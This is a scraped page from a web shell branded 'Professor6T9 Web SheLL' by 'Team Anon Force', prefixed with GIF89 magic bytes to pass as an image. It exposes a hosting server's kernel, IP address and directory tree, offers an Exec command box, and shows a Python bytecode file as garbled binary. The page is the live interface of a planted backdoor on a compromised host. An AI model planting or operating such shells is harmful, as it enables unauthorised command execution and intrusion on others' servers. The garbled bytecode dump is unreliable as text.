GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
alt
/
python37
/
lib
/
python3.7
/
site-packages
/
libpasteurize
/
fixes
/
__pycache__
[ HOME ]
Exec
Submit
File Name : fix_annotations.cpython-37.pyc
B �A�[- � @ sJ d Z ddlmZ ddlmZ ddlmZ dZdd� ZG dd � d ej �Z d S )z& Fixer to remove function annotations � )� fixer_base)�token)�symsz)Removing function annotations completely.c C s | j d S )Nr )�children)�node� r �T/opt/alt/python37/lib/python3.7/site-packages/libpasteurize/fixes/fix_annotations.py�param_without_annotations s r c @ s$ e Zd ZdZdd� ZdZdd� ZdS )�FixAnnotationsFc C s | j sd| _ | j||d� d S )NT)�reason)�warned�warning)�selfr r r r r � warn_once s zFixAnnotations.warn_oncezm funcdef< 'def' any parameters< '(' [params=any] ')' > ['->' ret=any] ':' any* > c C s� |� d�}|� d�}|dk rR|jjtjks2td��| j|td� |j�� |�� |dkr^dS |jt j kr�x`|jD ],}|jt jkrr| j|td� |� t|�� qrW n(|jt jkr�| j|td� |� t|�� dS )zK This just strips annotations from the funcdef completely. �params�retNzInvalid return annotation)r )�getZprev_sibling�typer �RARROW�AssertionErrorr �warning_text�remover Z typedargslistr Ztname�replacer )r r �resultsr r �paramr r r � transform s"